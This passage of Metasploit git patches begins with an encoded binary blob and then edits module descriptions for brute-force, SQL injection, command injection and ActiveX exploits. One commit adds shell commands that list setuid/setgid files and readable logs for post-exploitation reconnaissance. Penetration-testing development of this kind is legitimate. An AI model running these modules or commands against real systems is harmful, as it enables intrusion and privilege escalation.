zQ_=oQ(bwBY>GLHKGI3Mu=V-lQt$mSwIHE4;ITu?=)c8GirN1ouZlw37^@ZlC=_CFo zkvbAz=`$zszfcv6Ut(YHBWe4*wK_olb#>Y4)FYN&p4K-@B7L+Tn%1w9y)t^)DWFBs z#dFngXnd^o>UFV%NfT?~)5ImJ-<o)Vng^P=yq7zbDj#U-T2E9H%PutCO^t^%^_$ha z*Z5L$NX%&ISkWz(9ap-#?04!B_n0s2rLOIx*WA(4T@%k&(^L}|t9ho0%jnzaZpt1u zU99z>H8Zkjw@1Cl-%6DyG&9ly>Sp}C)Mclfs7o6vJCQ{!{SUFF_uFKTvxudiq>YTU z{*yKe(CT1q<e`bR{L;lz_B65l>*7*1uQl~Dcu(((X#Q$_AdPpmzO{CSK<lgN>QYAw zPwV|)Z4@OZCz8l%;U%qqDSNT>eyuiQlATjY#7E+&^)WO)*2MD9s|70GFQ6YT{Vgd2 z^VRgx`hN>mzS8<(T6pySlO_{8(#Kq=##!qpE>!CqtzWE-#I*jhHagS#Od7vx{akJI zrS<PLSG86_8wJVONa7&nTkEe#iPyztY94F-S^3w;8QO?c>q}{QritZW%t(E&n~^lq z%7fNF)%?=NDB6ft8>7hnGJU)vDm{He+4C-+-e1wUzelcdu0FoeM#b9rMjIJxeOS$3 zt^cF(pC;DAsfp!Z+5_pEYolmwj3T=aMO|yR_3^ka*KBF}(%0#&FY?~{k}{g_nt4f` z9=VLSWG9~J>3k`>G^GzMs(saa*TI_kYWVC-<~8-c=4Fhfr-O*~xXbuMPB4mJTHjr3 zX|(aR&MUGLvqvoBL2Y(H8&7HZE&D)4UGh~MvuOFDjR$4Vp^S0FOeH?*;~lN1+&j*i ziuT_-4%!%S5$Uau-86r-_Fc-NluUgdN94j)J#w+9nJrfR*Tk~VR#&f9%bKR{Q|obU zT&Vfee0f-0+!$_${1><1eE0T_@3s9#?GMTPr1bive>#<Z%?RYHZfCyzasy8xaOKwU zyh$081Sd|CF}a}3ff<KSR@D)z{Vl=&$d~(ru()P!G?RHa{i{o6E|E@chZLSOd|W4T zN|fblB0*iAdXcs+rOWsC(%*M6(}PfN^QYT??o!?<3fXz7m-uvZKN`_v&eluJQ-poO z^Z4k#{>hzSz5W03<$d)}_s41LtKU05;?B<;|5$&gyRUxRY5r$q^wsa}|6;Znu7G-n z_jLcSp4eBvxBWR+F;@-sw!h^x|BJHw>dV7tz0Geb(ey>_R>XSVoF0$W3;Vj$I~-zn zWLaPR)BTxU*;oH`_b1%gSO4^Mc;e>1`ltI}c1vIVZ@GV4U;W<p2fxS~79{cL{arBT z%PArs%vQoMP^T#5F;E<oIG8mEklytoZ<5JiG$)yDHscjFHtQ9IrKQU3Dc+(|IT^ml zn_W>*=&ee(D63TS;xg+75n)PHGwVCy;)eEJ6p8yStl9N4=R{3u)=l)qf8WLMuiwRx z+b^%w%h}}t;p}GXdqQ0a_Bk=HD8CNtb;?~S6dO4eh5k~nc1SxzQGO+AvL`O1u&_$K zci`a&$^OvEcuZXFnKH?fZ8oV)qTCSjA=6vE&{t83{;BZp)A%7p)}lD^T%_&MQ{85@ zBz%f@ehDYstHzZURCB%^o0TEAG=rk_p176cEteCL<J7wdR0(afCR4ZgsY<`WhiYF{ z#bQ-9fD_u4-tt0`WGMEC{3?#D_ZU_#3YR#MSk)C(8Oo)qY~s9%a%R8sJX7?zP3ZR1 zS0KmMGn5IL6GNJ<VUpSvWo4Xh=R7}pXZK2f?S=vl$Sb*`Dti(=RaF&qSqAnaM!n>h zgn7#6RTO%2D@wRUp-MR^XTy8RCx`XE1fuBl98+&(*c*|<EdnKD7yG>V71K)!z2k}t zs+3py>B9VqZhhrJJ%7pDEN?+2MN?Gre1#edD2hwu65ag8m0qP^Sf;ns>pT6f2<1i1 zRza1|Un!d^rz>+sMdK#1J&CIY$WwEK_@Z7&p(I64_Is-q=X$Hus}aiQdDV*pi1k3R z+n0Aqyf;)o)N2srCWDM>HB^X{QKI81UsO_6QC`N44B9mX)hxsQO6Bk~Y1Q?cT3)Q) zMNsIena2TrZf3wiNpvMca^*X<vm(Cp&Ww!m!o13oay1^x?0)&)s<M)DZe<AVDrGd$ zFTeY4j%pDTaP3YGpUCi5lU0dKO{V!h>8NE1u^I`NNKxr~VTYnT7?JHQSoE#TQK}+B zH#&?HRw|h9Rn`f=W{k^Klsm-zYdkq3{=Le@xsrj(eC%X;=lbW*_g3Xn^hs8w47E^H zDyqhFH;BKAsA+od^;2)qkUUZ5^@Lf^dqVwa@0vs9)D4kSe5F&%Z(_5pa;3@{+O;KC zRXoM3$zBrIv@8`K#HFtyuJQXS{alzq_%t0<ZK|z2ZZe^_6Or9>Uj=$U4O8#>kkEAB z@o`Wqv*pzlrCy2sr@iDbF0LdBAM`2<U6IJejZpFAS`F^$QR6+XLUm`la+`KrNvQa2 z3)LB7iD3Nu`yZDAk?cs!ojz&yxa^F)JVICQlim*ZN%&Omqwr2Ep;jv>&GD91aQ}y& z&EsYhb3l32s@_7itY|G%qCq0(qumkAtl(ytg7OlXFAC`!MP1jY`>OU|1?yxZ(tq&N z-RW&TEF{rU*VE-XewX@p>HpuF*WJ-kxBuUX5*AqnTm2IIXP~vvI%qw#0on*{g0?_A zpgqt5=rD8?>V&!=WheXopeQH?ViQ^%F9gITK*OL!XaqDGGC)o!6B6^;P(CyhDugPb z8fY1`5?TeVhSouwAwB(eAl?J*hYmuAp`*|-s0)hOh2PK^C>_d&3ZWXP4r+i_LaU** z(0XViv>9rKTA?=R02G9}peXjHi}`pk5gG$Ip<HMV<bxWZmC$Nv1GFEKJ?(RNxJnQE zKg#oC=Y+-e*8f-J;@|0hRx)p(yT5indGZ!<f1A8K&0pQje-6fd=cl=!_?_Q>j{pBd zT>0*EU0MLYdt&N;NCf_?g7KZ~5#rVFWRJxEsu2Bu>+b&>j1d+d8I^cmSll`$CFk6} z`1VUeiTKESn&5$lHC%fCp)L`n-&&{Qdd#;x^!7uEn)bK;m!8y=(nI+4_cWgoGXD(b zUwiQIgF}_SJQ#dXc82!-y4}C^0oBIjeu^^r?Hk@sRA#@u;B7iMr+rIbKk)9MFPY1| zRkJB|?0Hali11DoM}i3u&T;30qV$IbKxaWQP*ey-P2|$`5xr<g*AsWeu3#)Aen_DZ zwR51sArf^-Z&7C&ST&asl8+0?b3w5)C8REWJTWi5adBUE42j>;=M(iZC=sfJWZ!8O zBw>|!i1|85!n`zuw}YZz4~hOVNZh#_`VsW&ko*Bq!n+O<{~m?J+_R8`?^Q_j--JXz zfkct?(bMeH*&Ltx9;93uYU{wTFdWdoP_3d%1;xMKMtbY%`eNqa-@jAf`=-F8kJ6ui z@`A0Ix_NybUix5HpjZm7W=-p#(QTox8S`r}|6L?*N}uk*H?(>0)A=>A-#r)TVG&#x zGN-GZ&i{INb$$P8)+nLAU&n1qBxR@T)G4WVq`am>r>F$$z@-ezqz;t&ED^d5>i*V- zr+156`}K&wis}}puZigv=WdVf7LPbKSQpp*Z1s7%IC0C17ii+ht-CM0%Oc_jKH2l? zh1*`Al%Ck}>!&L(U;o>eepQm*HtU;_e;In$H5atkr{DOqH}4&HcE6?{J@M=GFSoAE z{AB6ipDexox%92hKRxo=sficYY<oSuV&|b1N9uM@_`^NxGqx;WICYf0=|ttBC1bbz z`L1`r{MFa(w?003+yfsi`f$$|Ke}?+(jR7yjywPH&fmp-_|lHAGTR^B|F;wE?_YKE zy{~z^dv@J@_9MSrd%=efjUVJaKgPfG4*#OvSvfPt9)9#5yCZq?Q=jDJJo=YeX)n!k z1b+R~>rTyjq~n3a=KP0Oq!jG^CU9Ngz{pvRU%oT{@q0V}HfrmGt+W1ISDwB5mp@Ou zGknUN9V7k3SNY?fKg#<}d|$h7OdI&-LzVK^>AtSe@!mB}KQA9#|9AKH*T;A-_+ZBQ z&+h%)-4;81*@O!xY<TI>Pu=N{JX2EoM86kO?r3+L)3%Jg`7eK3we^j^y0?Av&8r2= z&bevNZw|Y!%)b8poE<N&y7!~q?w{_+bNDm=82{ogo^ZcA{|~F|p5I>d<ZG+kBZlw% zV9OsI#)81j?t-b;w%qz;-jc!3&vw80>6K0WU;OFvbHC1Xk8nSH#QyN8k8fLlnY(tw z1BbU1E*anU=c%rFxAfmLJpZQpQ+F>-yZfuu3vQk_a-6YwgY%Ncy|&vY{Cu<W&6|#c z4Kt!Hd@}gq9gjpfb}sXbJ?okK{3-8Tk!rqi*uLTKm_D7j@;dt?KYp=!`r8lR{>Xz* zn?5Lh>YPWX+@E>vvvFfaPCT4swOo_;yH^*E{K>VE>zd!)R{M2u=S9E%Yr}QZ?{;p@ zt-my3($(I%-_-x)iT<l<&pDj*?)|UsYmNN#BL~hjJ5eWx<3eSpPBC<gB`f}a{BdtK zp@-`FMj}jYD~aZ})aCqk7KZ1fhbgtES0<=C-8E&UiHo>Zm<i^zQN}9_qY}L`$IrFB zX``m*k596VO04!V6J1bRQSMC}wb)xd%Iz97(8)Rox5Ab#PQ-!o>a<bZJDgfQubA7H ztCPw~=2cZxR}}e@=2euX7F3sAvB)?ok=2KiBIci__4W;?5)+-iDu1<l-9gB;OaF;$ z=1Wz3*sS)>^E1)BI3!1<%6lUh?)toixm6{LnAn`}t?t(Bt?jA7s?4irdlz|26HDbk zZB#+^#PUTI3%ymN68$9^^W-+`v{6L`rPbb1iC1>J<Gk{_eQ{pdCrr*OyCa8n=aqW8 zA?cfmXO__~T7!<w;4+Li<QlFuEHyk}*lGBy;e_Er<7nd|<1*vj#=jWbjej$KWBil- zp#7A+U+USZLsBnDy(HC?nvt5H`n%Lksn4apnEF!cE2-BxZg(^|?sojlvBvSR<0;2; zj_r<XoO7Jz&fA?UoIiKo?|jO+)w$dGcjpahKTG>%+QVsYrG1*#nHKIE=epK)yX#l3 zzqz8^m%5j`fA5yYLnct}H(qSYHZ3!)F#XB&nQ6HBN9HN!GV^lt-R8CCm&|8bW?1H0 zmRat%Y_{yS{Mqss%cqtTmJ5<EO&*<mMRIoXwaEp^waJaiKS};Y^7`Z_lb=t1CAls6 zPstx8w<mWchgr|I4zZ4~UT>XeU1VKqy~Fx5>x0%utxs9ESoc}~X1yon@swv%wx_(F z@>a^nDFbX5+kRxb(w1tQWt(d&w^iGIYHP8z+TO6eXB%uEWlyqu?Kj$=w6~E)iK*Vy zg{f7kyHZc34tC6Q+~fGY<1NP#$4N(&^K56lbExxHXT5WX>r&$Fbv@>K+STG}bG_pV zcSpI0y6x_K_Z)YHyM~n5<lf@`qnk{k0InfD!VIGf4svU{VV0rH;5Xc2xYMx8@C(CZ zhTj{WGrVH>li?l1aYKJ&tnqx~mBz8gEaN2ORO1cCdBzgsjpXPO^0d+T6XVZ~Ym5&X zA2&W>eA@VeahtK#*k=5b@g3ub#-Q<2<8kBH#xT<W)7hqY(=gK|rctIVO%_wCX{>32 zDaSO`be(CAsn}FzsxsYTsx#eTy32Hr=|0l~rbkR0Oq)#4nYNmCnf93Wncg<NXZnlj z6Vn%_PLpEpXO1=xF(;TWGXKzgx!Gv8n_cEibGCW1dAfPFxzN18TxGt=TubiWX<lhw zZT^+{LGy3S8_my{Uo`J9?=v4V|J8iV{EhiiONu4W;<NnT(rS6na@cap5}ABSvMYIY z^5s^u^(t$z^>OP(DUOtkl&ez;QhX_QrreWqKY6(~CEPaDmSxMaRoQ-QYqAAxE_<i_ z^3?ZIM>-r1pW_Y3XAZ?_aXOrno!7&w&pDf&yPWSiKXrCG`=!OEU7S{xwk~aJ+Li9{ z?pxjWxF2vo?*5bHO*&^j$(xym<%atWj~bpb>^6L8I7u$V8!w<7O*1YvZYEX3Om~}J zG95Lgm@CYaEq7biSRS+_BxfY&Cl@9^1aH2S{C;vU`BOME+<LxswAEsDSjSptS?62t zwXV0GuwIffHKiowzLeuBU#ASRU2b#RJhm@vCv07|A@-T}dG>|&ckGAkN9=#Me`Wt+ z>KIDsxKw}YEva>>cc!jPeJXV;{P@Szw^H9t{V+9{`gv-mV<P3XiSqhO$2!Mjj%OT0 zoIh~doMW9&IzJ}H=cEmzWX^Iea4mM#yY6+ZbN$A(#r3l5Pp-qRPhIhDk9&&ydiQPa z4Uz`AoFfH>8tukh<80#_#)ELu#ikTfy{XZ3uW1K-aKbded?9-)+~oK?v)}w<^L^y+ z3+997PtA&Duw{hh4=ESh?zi1#za;era^>?>pX29_FC4#3dphk8Y44_ek{0K>#5Kxg zCR7t$GhDM>6)wN)7Q)u(`ibl3)E^HK!cDH{UE5uIT<^M$ySiNc+|llH-HGmb?pxfe z+#k4u64p74Ey=HehG~Y|4C@Wg7`7NX4fhzIH|{q2&G(o$n1646o+n0km|M-Co6ol- zTb!13OQt2ul5NSg<WuK7XjyOBVA*KdWEq+~GC4hY0(DI;`RGr+KY4HRf#ie9hmsGI zmq(L3l8+_3teMs<YqmAldOT&I?E_nseTY5T-avhtk(xuz`5w73&~drL<ha&R<XGrf zOkQlH?)=&j<~++e$T`G$fiuxL%6Ww|+39qSb6(|~;=Il|mwNRk=MuGU{h9L-=QGZo z&e!19BhJs95pe5|Tq&+e)GrOLPe_TAt^{|AJKH^tdS$Wu4);p;T6dfK6SoZZ8%UC9 zL!#j_L!+VD@U}rQ)*DY4Z!$e?deL;yG|7CS<tobCW0t2ZQjh*Nxh1*Yy283T<$;tY z+ncsS#AmMkKKsPfPl-joV~*p;j$aY}ebjg(opxuf^A2ZR+R(IQaxmUC)3wlbCpop> z^|33?eW!bud#}4g@}y4oFjABZlMP<OLPMotn6cTo!Ss~r8PoHo7Rt>lrq^f#-ZH&w zI&2D>K2__KE>pO<zxjOgUFMCn0CTKgSWjA4q^wF=oAN}8!#2g%XjAN$re2o1&r#^C zbe?qfPaB+eN!oAIcBGw5yTc`qPf)EY9~nE1rOB1azT}$ZCCPQk%aR+CS0t}YUPX;^ zOX|MVa~-caSEgZbt?Ywj{lxT;sXr-li=~lkzVfW4)@ti5);jAlYlHPk>zmfUTf3}E zN@Pk@N=!;zN_<K}%G{LVl+u(+>Y}$({*t2D&a%bW;%xD@WZP`p-L}=XHMX_3b++}k z4YrN8O}3M^NPCn$#vW(CBh{Mrrd!#_-3R!4ui<xw7Yy$j&NEgUpKyGX_IX+uWnrdk zt_#g(&WQuL#(d)p<4j|*vD8>;JZ9^pc2Mk2d!{|xo=+`NXfL(<>`Uy+>?`c6>}%}n z>>KQx>|5+R?0f9{;mE`Gqjv5VS39+1s0*FWOlP(;-#OD+=qz>m;J0P8<*S@)oa>w$ zoSU3moI9L*oco;zorj%AoyVMA&d9WwwD`1PX(Q6cq*>COX_;x+Y58e0(+bl{(|l=5 z(w3#INL!V*hMIIk+NQKE<i(z}{b>i&4yPSWJC@d!7U_y{#k+>NM!3efEH0-j)0OSY zCzge-QkT!Q#I?+|!nMk^hT3QYWqpfl2W5S~>mYT~QP(j_e55<Z9q%5-Xk(1q;&!?- z;re{{On0HX)a`RGaW8YPpe9)3UPryPiPm+8dyjj+`=I-<`>6YvyGwZS5MyNq(~*W4 zL%d;_VT56f!D4V4G7Z^=e8Wsbp`p~^Gb}MIGpwNPU1L~h*kIU19kRo)$FSdU&~Vsr z)NstuWr#G!&;krIjxdffT8vI(rZJn`nQ1H}Z+vP?yu!GOc6gm}gK?8_i*bi>k8wZs z=3(Pe<1u5GG13&Hw!b4xV`zPyrc8Q5`KFnsLQ|>9XIi56idLD{nAWMS?iT9UJ*NGX z*u%6j$4p(ONOO!i-aO1a!aT-oF*|8%v&^~X8Rj|WVsoXr#$0D^P}|wH=Jm9)o2l_y z&28obw6j5Thq;qFIm!}eNw6eZMq3OP8+Bk7_1_H3980mK(o$oovou&%T2@=uQX5M7 zYo<MJvmCG-vIH$1mQIV39F-iGoRFMIZ_JQvqn^y7mYk71C%Kr?Rzpc^pp>mnUQ6F> zWAf(Y=Hym-X9uV|gVdXy$%-|~8fQ(gCejuftTt;pwP>z&hII}te5JL964zi|X<cny zOY6ANy4l)nZMC*p4_FUbgVqjfCuJ~-@|Td3m@+!WkYY<oPsvKjO_`B0htgP?Qj=1b z(vY$;Wi_?M`jm|+n^T%oT2tCm4x}7P38r+UbW%>ED5VLuMB8Ya!Dh3i(|5?V&9Kd} z727IpHMTligKZ_HcP%A%qiwUTnciTV?Ep1m(AGi8Qz*r8_5^#PeYD+Rx7pL}S@vA} z4Er2=vAxn>W3QtPSZQBvUu$1)-)P@#Z??D6dptlJ9<+DRGf`5bQsYt+=uM7JHKf{7 z(^Iojb5m!e&PjzwJG6P1wUonjO43I9(ebVXmyPl=hmz9ZTJLIg1?f+ZrUYcUi{bkQ z_j-3Lysp-_j9_KF7svMHTx#2uhK+D<n?X9=@wAPKp%V^NOp&H2xG)YrOrR&2Xc}P} z4L2I#M;jcO4o_ymmAUZc3^;QRyjcu)R>Ge(aA+Mo+CblZrD>IEHJrK@PTfckakFWQ zsTqE4g=5>`*#mIxA+=sVYU+S@JK<i%9BGb%gX7@g1h_a6J{}Dx8{lOd+?=lRb2c2E z4^PiDFEg()uQP9=)jkaO9)o|o%$c_JsT)!^GDg{)x+S$abw_Gz>YmiL)B~x-X_eGQ mHPlCS)JP4~Nh_(9)>132S5tFS+Ge$GYEA2qn*aaF@BaY6g^Yv% literal 0 HcmV?d00001 From 502dbb13703dde7ed8a7e2248c15819a3c96eacf Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Mon, 10 Feb 2014 13:55:02 -0600 Subject: [PATCH 222/246] Add references --- modules/exploits/windows/local/ms13_081_track_popup_menu.rb | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/modules/exploits/windows/local/ms13_081_track_popup_menu.rb b/modules/exploits/windows/local/ms13_081_track_popup_menu.rb index 7354fe7b3c..27f7bcec58 100644 --- a/modules/exploits/windows/local/ms13_081_track_popup_menu.rb +++ b/modules/exploits/windows/local/ms13_081_track_popup_menu.rb @@ -52,12 +52,14 @@ class Metasploit3 < Msf::Exploit::Local 'References' => [ [ 'CVE', '2013-3881' ], + [ 'OSVDB', '98212' ], + [ 'BID', '62830'], [ 'MSB', 'MS13-081' ], [ 'URL', 'http://endgame.com/news/microsoft-win32k-null-page-vulnerability-technical-analysis.html' ], - [ 'URL', 'http://immunityproducts.blogspot.com/2013/11/exploiting-cve-2013-3881-win32k-null.html' ], + [ 'URL', 'http://immunityproducts.blogspot.com/2013/11/exploiting-cve-2013-3881-win32k-null.html' ] ], 'DisclosureDate' => 'Oct 08 2013', - 'DefaultTarget' => 0, + 'DefaultTarget' => 0 })) end From 1236a4eb07268ebea068b74b9bc01ebc813915ea Mon Sep 17 00:00:00 2001 From: Tod Beardsley <tod_beardsley@rapid7.com> Date: Mon, 10 Feb 2014 14:41:59 -0600 Subject: [PATCH 223/246] Fixup on description and some option descrips --- .../auxiliary/gather/ibm_sametime_enumerate_users.rb | 11 ++++++----- modules/auxiliary/gather/ibm_sametime_room_brute.rb | 11 ++++++----- modules/auxiliary/gather/ibm_sametime_version.rb | 2 +- .../http/a10networks_ax_directory_traversal.rb | 9 +++++---- modules/exploits/linux/http/kloxo_sqli.rb | 6 +++--- modules/exploits/linux/http/pandora_fms_exec.rb | 2 +- .../browser/wellintech_kingscada_kxclientdownload.rb | 4 ++-- modules/post/windows/gather/enum_ad_user_comments.rb | 5 +++-- 8 files changed, 27 insertions(+), 23 deletions(-) diff --git a/modules/auxiliary/gather/ibm_sametime_enumerate_users.rb b/modules/auxiliary/gather/ibm_sametime_enumerate_users.rb index dedf7b18a8..f11c345847 100644 --- a/modules/auxiliary/gather/ibm_sametime_enumerate_users.rb +++ b/modules/auxiliary/gather/ibm_sametime_enumerate_users.rb @@ -16,8 +16,9 @@ class Metasploit3 < Msf::Auxiliary super(update_info(info, 'Name' => 'IBM Lotus Notes Sametime User Enumeration', 'Description' => %q{ - This module extracts users using the IBM Lotus Notes Sametime web - interface using either brute-force or dictionary based attack. + This module extracts usernames using the IBM Lotus Notes Sametime web + interface using either a dictionary attack (which is preferred), or a + bruteforce attack trying all usernames of MAXDEPTH length or less. }, 'Author' => [ @@ -38,7 +39,7 @@ class Metasploit3 < Msf::Auxiliary OptEnum.new('CHARSET', [true, 'Charset to use for enumeration', 'alpha', ['alpha', 'alphanum', 'num'] ]), OptEnum.new('TYPE', [true, 'Specify UID or EMAIL', 'UID', ['UID', 'EMAIL'] ]), OptPath.new('DICT', [ false, 'Path to dictionary file to use', '']), - OptInt.new('MAXDEPTH', [ true, 'Maximum depth to check during brute-force', 2]) + OptInt.new('MAXDEPTH', [ true, 'Maximum depth to check during bruteforce', 2]) ], self.class) register_advanced_options( @@ -74,7 +75,7 @@ class Metasploit3 < Msf::Auxiliary @charset.push(Rex::Text.uri_encode(spec)) end end - print_status("#{peer} - Performing Brute-Force based attack") + print_status("#{peer} - Performing Bruteforce attack") vprint_status("#{peer} - Using CHARSET: [#{@charset.join(",")}]") else print_status("#{peer} - Performing dictionary based attack (#{datastore['DICT']})") @@ -163,7 +164,7 @@ class Metasploit3 < Msf::Auxiliary # provide feedback to user on current test length if datastore['DICT'].blank? and test_current.length > test_length test_length = test_current.length - print_status("#{peer} - Beginning brute_force test for #{test_length} character strings") + print_status("#{peer} - Beginning bruteforce test for #{test_length} character strings") end res = make_request(test_current) diff --git a/modules/auxiliary/gather/ibm_sametime_room_brute.rb b/modules/auxiliary/gather/ibm_sametime_room_brute.rb index b2e0b6b82e..cff9af79e1 100644 --- a/modules/auxiliary/gather/ibm_sametime_room_brute.rb +++ b/modules/auxiliary/gather/ibm_sametime_room_brute.rb @@ -14,9 +14,9 @@ class Metasploit3 < Msf::Auxiliary def initialize(info = {}) super(update_info(info, - 'Name' => 'IBM Lotus Notes Sametime Room Name Brute-Forcer', + 'Name' => 'IBM Lotus Notes Sametime Room Name Bruteforce', 'Description' => %q{ - This module brute forces Sametime meeting room names via the IBM + This module bruteforces Sametime meeting room names via the IBM Lotus Notes Sametime web interface. }, 'Author' => @@ -34,7 +34,7 @@ class Metasploit3 < Msf::Auxiliary register_options( [ Opt::RPORT(443), - OptString.new('OWNER', [ true, 'The owner to brute-force meeting room names for', '']), + OptString.new('OWNER', [ true, 'The owner to bruteforce meeting room names for', '']), OptPath.new('DICT', [ true, 'The path to the userinfo script' ]), OptString.new('TARGETURI', [ true, 'Path to stmeetings', '/stmeetings/']) ], self.class) @@ -47,7 +47,7 @@ class Metasploit3 < Msf::Auxiliary end def run - print_status("#{peer} - Beginning IBM Lotus Notes Sametime Meeting Room Brute-force") + print_status("#{peer} - Beginning IBM Lotus Notes Sametime Meeting Room Bruteforce") print_status("Using owner: #{datastore['OWNER']}") # test for expected response code on non-existant meeting room name @@ -81,10 +81,11 @@ class Metasploit3 < Msf::Auxiliary @test_queue = Queue.new @output_lock = false + # TODO: If DICT is unreadable (missing, etc) this will stack trace. ::File.open(datastore['DICT']).each { |line| @test_queue.push(line.chomp) } vprint_status("Loaded #{@test_queue.length} values from dictionary") - print_status("#{peer} - Beginning dictionary brute-force using (#{datastore['Threads']} Threads)") + print_status("#{peer} - Beginning dictionary bruteforce using (#{datastore['Threads']} Threads)") while(not @test_queue.empty?) t = [] diff --git a/modules/auxiliary/gather/ibm_sametime_version.rb b/modules/auxiliary/gather/ibm_sametime_version.rb index 72cabcdbac..a8454f211d 100644 --- a/modules/auxiliary/gather/ibm_sametime_version.rb +++ b/modules/auxiliary/gather/ibm_sametime_version.rb @@ -64,7 +64,7 @@ class Metasploit3 < Msf::Auxiliary 'Name' => 'IBM Lotus Sametime Version Enumeration', 'Description' => %q{ This module scans an IBM Lotus Sametime web interface to enumerate - the version and configuration information. + the application's version and configuration information. }, 'Author' => [ diff --git a/modules/auxiliary/scanner/http/a10networks_ax_directory_traversal.rb b/modules/auxiliary/scanner/http/a10networks_ax_directory_traversal.rb index 56c9ca5a16..92bd68d1fe 100644 --- a/modules/auxiliary/scanner/http/a10networks_ax_directory_traversal.rb +++ b/modules/auxiliary/scanner/http/a10networks_ax_directory_traversal.rb @@ -19,10 +19,11 @@ class Metasploit3 < Msf::Auxiliary (Soft) AX Loadbalancer version 2.6.1-GR1-P5/2.7.0 or less. When handling a file download request, the xml/downloads class fails to properly check the 'filename' parameter, which can be abused to read - any file outside the virtual directory. Important files include SSL + any file outside the virtual directory. Important files include SSL certificates. This module works on both the hardware devices and the - Virtual Machine appliances. IMPORTANT NOTE: This will also delete the - file on the device after downloading it. + Virtual Machine appliances. IMPORTANT NOTE: This module will also delete the + file on the device after downloading it. Because of this, the CONFIRM_DELETE + option must be set to 'true' either manually or by script. }, 'References' => [ @@ -49,7 +50,7 @@ class Metasploit3 < Msf::Auxiliary def run unless datastore['CONFIRM_DELETE'] - print_error("This module will delete files on vulnerable systems. Please, set CONFIRM in order to run it.") + print_error("This module will delete files on vulnerable systems. Please, set CONFIRM_DELETE in order to run it.") return end diff --git a/modules/exploits/linux/http/kloxo_sqli.rb b/modules/exploits/linux/http/kloxo_sqli.rb index c8824fdd2e..56e55babfe 100644 --- a/modules/exploits/linux/http/kloxo_sqli.rb +++ b/modules/exploits/linux/http/kloxo_sqli.rb @@ -23,10 +23,10 @@ class Metasploit3 < Msf::Exploit::Remote 'Description' => %q{ This module exploits an unauthenticated SQL injection vulnerability affecting Kloxo, as exploited in the wild on January 2014. The SQL injection issue can be abused in order to - retrieve the kloxo admin clear text password from the database. With admin access to the + retrieve the Kloxo admin cleartext password from the database. With admin access to the web control panel, remote PHP code execution can be achieved by abusing the Command Center - function. The module tries to find the first server in the tree view , unless the server - information is provided, and executes the payload there. + function. The module tries to find the first server in the tree view, unless the server + information is provided, in which case it executes the payload there. }, 'License' => MSF_LICENSE, 'Author' => diff --git a/modules/exploits/linux/http/pandora_fms_exec.rb b/modules/exploits/linux/http/pandora_fms_exec.rb index 66c7567798..7a5a8cc6b6 100644 --- a/modules/exploits/linux/http/pandora_fms_exec.rb +++ b/modules/exploits/linux/http/pandora_fms_exec.rb @@ -17,7 +17,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Description' => %q{ This module exploits a vulnerability found in Pandora FMS 5.0RC1 and lower. It will leverage an unauthenticated command injection in the Anyterm service on - port 8023. Commands are executed as the user "pandora". In Pandora FMS 4.1 and 5.0RC1 + port 8023/TCP. Commands are executed as the user "pandora". In Pandora FMS 4.1 and 5.0RC1 the user "artica" is not assigned a password by default, which makes it possible to su to this user from the "pandora" user. The "artica" user has access to sudo without a password, which makes it possible to escalate privileges to root. However, Pandora FMS 4.0 diff --git a/modules/exploits/windows/browser/wellintech_kingscada_kxclientdownload.rb b/modules/exploits/windows/browser/wellintech_kingscada_kxclientdownload.rb index 5ed3a62d0e..a493e8b846 100644 --- a/modules/exploits/windows/browser/wellintech_kingscada_kxclientdownload.rb +++ b/modules/exploits/windows/browser/wellintech_kingscada_kxclientdownload.rb @@ -15,11 +15,11 @@ class Metasploit3 < Msf::Exploit::Remote super(update_info(info, 'Name' => 'KingScada kxClientDownload.ocx ActiveX Remote Code Execution', 'Description' => %q{ - This module abuses the kxClientDownload.ocx distributed with WellingTech KingScada. + This module abuses the kxClientDownload.ocx ActiveX control distributed with WellingTech KingScada. The ProjectURL property can be abused to download and load arbitrary DLLs from arbitrary locations, leading to arbitrary code execution, because of a dangerous usage of LoadLibrary. Due to the nature of the vulnerability, this module will work - only when there isn't Protected Mode. + only when Protected Mode is not present or not enabled. }, 'License' => MSF_LICENSE, 'Author' => diff --git a/modules/post/windows/gather/enum_ad_user_comments.rb b/modules/post/windows/gather/enum_ad_user_comments.rb index 87b33ef59b..d6a66b30cb 100644 --- a/modules/post/windows/gather/enum_ad_user_comments.rb +++ b/modules/post/windows/gather/enum_ad_user_comments.rb @@ -15,8 +15,9 @@ class Metasploit3 < Msf::Post super( update_info( info, 'Name' => 'Windows Gather Active Directory User Comments', 'Description' => %Q{ - This module will enumerate user accounts in the default AD directory. Which - contain 'pass' in their description or comment (case-insensitive) by default. + This module will enumerate user accounts in the default Active Domain (AD) directory which + contain 'pass' in their description or comment (case-insensitive) by default. In some cases, + such users have their passwords specified in these fields. }, 'License' => MSF_LICENSE, 'Author' => [ 'Ben Campbell <eat_meatballs[at]hotmail.co.uk>' ], From 2e720f8f0f53f8fd95b23d03bba7cb44c8c15c04 Mon Sep 17 00:00:00 2001 From: Roberto Soares Espreto <robertoespreto@gmail.com> Date: Mon, 10 Feb 2014 19:24:51 -0200 Subject: [PATCH 224/246] Post::Linux - Added to search for files with setuid/setgid and logfiles --- modules/post/linux/gather/enum_system.rb | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/modules/post/linux/gather/enum_system.rb b/modules/post/linux/gather/enum_system.rb index e6cf4e65c4..c5bd9b5a61 100644 --- a/modules/post/linux/gather/enum_system.rb +++ b/modules/post/linux/gather/enum_system.rb @@ -59,6 +59,8 @@ class Metasploit3 < Msf::Post crons = get_crons(users, user) diskspace = execute("/bin/df -ahT") disks = (mount +"\n\/"+ diskspace) + logfiles = execute("/usr/bin/find /var/log -type f -perm -0004 2>/dev/null") + uidgid = execute("/usr/bin/find / -xdev -type f -perm +ug=s -print 2>/dev/null") save("Linux version", distro) save("User accounts", users) @@ -66,6 +68,8 @@ class Metasploit3 < Msf::Post save("Running Services", installed_svc) save("Cron jobs", crons) save("Disk info", disks) + save("Logfiles", logfiles) + save("Setuid/setgid files", uidgid) end From 4a0f37dc21b2c8d211069f6c8ae0513e92cd244f Mon Sep 17 00:00:00 2001 From: Meatballs <eat_meatballs@hotmail.co.uk> Date: Mon, 10 Feb 2014 23:24:26 +0000 Subject: [PATCH 225/246] Save lost changes --- lib/msf/core/post/file.rb | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) diff --git a/lib/msf/core/post/file.rb b/lib/msf/core/post/file.rb index 73f3b781b2..1d148f7028 100644 --- 